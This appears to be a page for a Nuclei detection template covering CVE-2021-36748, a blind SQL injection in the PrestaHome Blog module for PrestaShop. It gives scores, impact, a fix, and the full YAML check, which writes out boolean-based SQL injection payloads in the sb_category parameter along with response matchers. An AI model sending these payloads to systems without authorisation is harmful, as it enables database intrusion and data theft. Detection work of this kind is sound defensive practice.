PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection

highseverity

7.5CVSS score

15.4%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Upgrade to PrestaShop version 1.7.8 or later, or apply the provided patch to fix the SQL Injection vulnerability.

How to confirm it

Send: GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- ; GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20-
Positive when: status_code_1 == 200 and status_code_2 == 404 and contains(body_1, "prestashop") and contains(tolower(header_2), 'index.php?controller=404') and len(body_2) == 0

Run it with nuclei: nuclei -id CVE-2021-36748 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-36748

info:
  name: PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection
  author: whoever
  severity: high
  description: PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Upgrade to PrestaShop version 1.7.8 or later, or apply the provided patch to fix the SQL Injection vulnerability.
  reference:
    - https://blog.sorcery.ie/posts/ph_simpleblog_sqli/
    - https://alysum5.promokit.eu/promokit/documentation/blog/
    - https://blog.sorcery.ie
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36748
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-36748
    cwe-id: CWE-89
    epss-score: 0.15415
    epss-percentile: 0.96816
    cpe: cpe:2.3:a:prestahome:blog:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 2
    vendor: prestahome
    product: blog
    framework: prestashop
  tags: cve2021,cve,prestashop,prestahome,sqli,cms,vuln

http:
  - raw:
      - |
        GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "status_code_2 == 404"
          - 'contains(body_1, "prestashop")'
          - "contains(tolower(header_2), 'index.php?controller=404')"
          - "len(body_2) == 0"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from